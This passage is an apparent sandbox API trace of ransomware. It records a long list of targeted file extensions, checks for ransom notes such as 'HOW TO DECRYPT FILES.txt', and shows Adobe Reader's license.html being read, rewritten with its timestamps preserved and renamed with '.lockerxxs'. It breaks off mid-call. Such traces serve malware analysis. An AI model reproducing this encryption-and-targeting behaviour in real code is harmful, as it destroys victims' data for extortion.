PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.eml") returned 0 [0070.060] lstrlenA (lpString="*.eml") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.pst") returned 0 [0070.060] lstrlenA (lpString="*.pst") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.ost") returned 0 [0070.060] lstrlenA (lpString="*.ost") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.idx") returned 0 [0070.060] lstrlenA (lpString="*.idx") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.dbx") returned 0 [0070.060] lstrlenA (lpString="*.dbx") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.sql") returned 0 [0070.060] lstrlenA (lpString="*.sql") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mdb") returned 0 [0070.060] lstrlenA (lpString="*.mdb") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.fdb") returned 0 [0070.060] lstrlenA (lpString="*.fdb") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.wab") returned 0 [0070.060] lstrlenA (lpString="*.wab") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.dat") returned 0 [0070.060] lstrlenA (lpString="*.dat") returned 5 [0070.060] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.txt") returned 0 [0070.061] lstrlenA (lpString="*.txt") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.jpeg") returned 0 [0070.061] lstrlenA (lpString="*.jpeg") returned 6 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.jpg") returned 0 [0070.061] lstrlenA (lpString="*.jpg") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.png") returned 0 [0070.061] lstrlenA (lpString="*.png") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.php") returned 0 [0070.061] lstrlenA (lpString="*.php") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.cs") returned 0 [0070.061] lstrlenA (lpString="*.cs") returned 4 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.cpp") returned 0 [0070.061] lstrlenA (lpString="*.cpp") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.rar") returned 0 [0070.061] lstrlenA (lpString="*.rar") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.zip") returned 0 [0070.061] lstrlenA (lpString="*.zip") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.html") returned 0 [0070.061] lstrlenA (lpString="*.html") returned 6 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.htm") returned 0 [0070.061] lstrlenA (lpString="*.htm") returned 5 [0070.061] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.xlsx") returned 0 [0070.062] lstrlenA (lpString="*.xlsx") returned 6 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.xls") returned 0 [0070.062] lstrlenA (lpString="*.xls") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mp4") returned 0 [0070.062] lstrlenA (lpString="*.mp4") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.ppt") returned 0 [0070.062] lstrlenA (lpString="*.ppt") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.pptx") returned 0 [0070.062] lstrlenA (lpString="*.pptx") returned 6 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.doc") returned 0 [0070.062] lstrlenA (lpString="*.doc") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.dot") returned 0 [0070.062] lstrlenA (lpString="*.dot") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.docx") returned 0 [0070.062] lstrlenA (lpString="*.docx") returned 6 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.7z") returned 0 [0070.062] lstrlenA (lpString="*.7z") returned 4 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.tar") returned 0 [0070.062] lstrlenA (lpString="*.tar") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.bz2") returned 0 [0070.062] lstrlenA (lpString="*.bz2") returned 5 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.gz") returned 0 [0070.062] lstrlenA (lpString="*.gz") returned 4 [0070.062] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mkv") returned 0 [0070.063] lstrlenA (lpString="*.mkv") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.eml") returned 0 [0070.063] lstrlenA (lpString="*.eml") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.msg") returned 0 [0070.063] lstrlenA (lpString="*.msg") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.edb") returned 0 [0070.063] lstrlenA (lpString="*.edb") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.accdb") returned 0 [0070.063] lstrlenA (lpString="*.accdb") returned 7 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.odb") returned 0 [0070.063] lstrlenA (lpString="*.odb") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.java") returned 0 [0070.063] lstrlenA (lpString="*.java") returned 6 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.asm") returned 0 [0070.063] lstrlenA (lpString="*.asm") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.pfx") returned 0 [0070.063] lstrlenA (lpString="*.pfx") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.pem") returned 0 [0070.063] lstrlenA (lpString="*.pem") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.p12") returned 0 [0070.063] lstrlenA (lpString="*.p12") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.gpg") returned 0 [0070.063] lstrlenA (lpString="*.gpg") returned 5 [0070.063] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.vsd") returned 0 [0070.063] lstrlenA (lpString="*.vsd") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.odg") returned 0 [0070.064] lstrlenA (lpString="*.odg") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.raw") returned 0 [0070.064] lstrlenA (lpString="*.raw") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.nef") returned 0 [0070.064] lstrlenA (lpString="*.nef") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.svg") returned 0 [0070.064] lstrlenA (lpString="*.svg") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.psd") returned 0 [0070.064] lstrlenA (lpString="*.psd") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.vmx") returned 0 [0070.064] lstrlenA (lpString="*.vmx") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.vmdk") returned 0 [0070.064] lstrlenA (lpString="*.vmdk") returned 6 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.vdi") returned 0 [0070.064] lstrlenA (lpString="*.vdi") returned 5 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.lay6") returned 0 [0070.064] lstrlenA (lpString="*.lay6") returned 6 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mpeg") returned 0 [0070.064] lstrlenA (lpString="*.mpeg") returned 6 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.djvu") returned 0 [0070.064] lstrlenA (lpString="*.djvu") returned 6 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.tiff") returned 0 [0070.064] lstrlenA (lpString="*.tiff") returned 6 [0070.064] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.backup") returned 0 [0070.065] lstrlenA (lpString="*.backup") returned 8 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.pdf") returned 0 [0070.065] lstrlenA (lpString="*.pdf") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.cert") returned 0 [0070.065] lstrlenA (lpString="*.cert") returned 6 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.docm") returned 0 [0070.065] lstrlenA (lpString="*.docm") returned 6 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.xlsm") returned 0 [0070.065] lstrlenA (lpString="*.xlsm") returned 6 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.dwg") returned 0 [0070.065] lstrlenA (lpString="*.dwg") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.nd") returned 0 [0070.065] lstrlenA (lpString="*.nd") returned 4 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.tlg") returned 0 [0070.065] lstrlenA (lpString="*.tlg") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.lgb") returned 0 [0070.065] lstrlenA (lpString="*.lgb") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mov") returned 0 [0070.065] lstrlenA (lpString="*.mov") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.xdw") returned 0 [0070.065] lstrlenA (lpString="*.xdw") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.ods") returned 0 [0070.065] lstrlenA (lpString="*.ods") returned 5 [0070.065] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.wav") returned 0 [0070.066] lstrlenA (lpString="*.wav") returned 5 [0070.066] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.mp3") returned 0 [0070.066] lstrlenA (lpString="*.mp3") returned 5 [0070.066] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.aiff") returned 0 [0070.066] lstrlenA (lpString="*.aiff") returned 6 [0070.066] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.flac") returned 0 [0070.066] lstrlenA (lpString="*.flac") returned 6 [0070.066] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.m4a") returned 0 [0070.066] lstrlenA (lpString="*.m4a") returned 5 [0070.066] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini", pszSpec="*.csv") returned 0 [0070.066] lstrlenA (lpString="*.csv") returned 5 [0070.066] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xba2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0070.066] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0070.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0070.066] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0070.066] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\eula.ini") returned="eula.ini" [0070.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" [0070.066] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\") returned="" [0070.066] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt" [0070.066] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\how to decrypt files.txt")) returned 0x20 [0070.067] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.ems") returned 0 [0070.067] lstrlenA (lpString="*.ems") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.db") returned 0 [0070.067] lstrlenA (lpString="*.db") returned 4 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.dbf") returned 0 [0070.067] lstrlenA (lpString="*.dbf") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.myox") returned 0 [0070.067] lstrlenA (lpString="*.myox") returned 6 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.myo") returned 0 [0070.067] lstrlenA (lpString="*.myo") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbw") returned 0 [0070.067] lstrlenA (lpString="*.qbw") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbb") returned 0 [0070.067] lstrlenA (lpString="*.qbb") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbm") returned 0 [0070.067] lstrlenA (lpString="*.qbm") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbo") returned 0 [0070.067] lstrlenA (lpString="*.qbo") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbx") returned 0 [0070.067] lstrlenA (lpString="*.qbx") returned 5 [0070.067] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qba") returned 0 [0070.068] lstrlenA (lpString="*.qba") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qby") returned 0 [0070.068] lstrlenA (lpString="*.qby") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qbj") returned 0 [0070.068] lstrlenA (lpString="*.qbj") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.ofx") returned 0 [0070.068] lstrlenA (lpString="*.ofx") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.qif") returned 0 [0070.068] lstrlenA (lpString="*.qif") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.mye") returned 0 [0070.068] lstrlenA (lpString="*.mye") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.mbox") returned 0 [0070.068] lstrlenA (lpString="*.mbox") returned 6 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.eml") returned 0 [0070.068] lstrlenA (lpString="*.eml") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.pst") returned 0 [0070.068] lstrlenA (lpString="*.pst") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.ost") returned 0 [0070.068] lstrlenA (lpString="*.ost") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.idx") returned 0 [0070.068] lstrlenA (lpString="*.idx") returned 5 [0070.068] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.dbx") returned 0 [0070.068] lstrlenA (lpString="*.dbx") returned 5 [0070.069] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.sql") returned 0 [0070.069] lstrlenA (lpString="*.sql") returned 5 [0070.069] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", pszSpec="*.mdb") returned 0 [0070.069] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" [0070.069] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" [0070.069] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html." [0070.069] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.lockerxxs" [0070.069] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.070] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xba2a [0070.070] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81da7fe0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x98a32700, dwHighDateTime=0x1cb84b4)) returned 1 [0070.070] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.070] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xba04, lpOverlapped=0x0) returned 1 [0070.073] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html") returned="license.html" [0070.073] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0070.073] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xba04, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xba04, lpOverlapped=0x0) returned 1 [0070.074] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0070.074] CloseHandle (hObject=0x94) returned 1 [0070.092] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 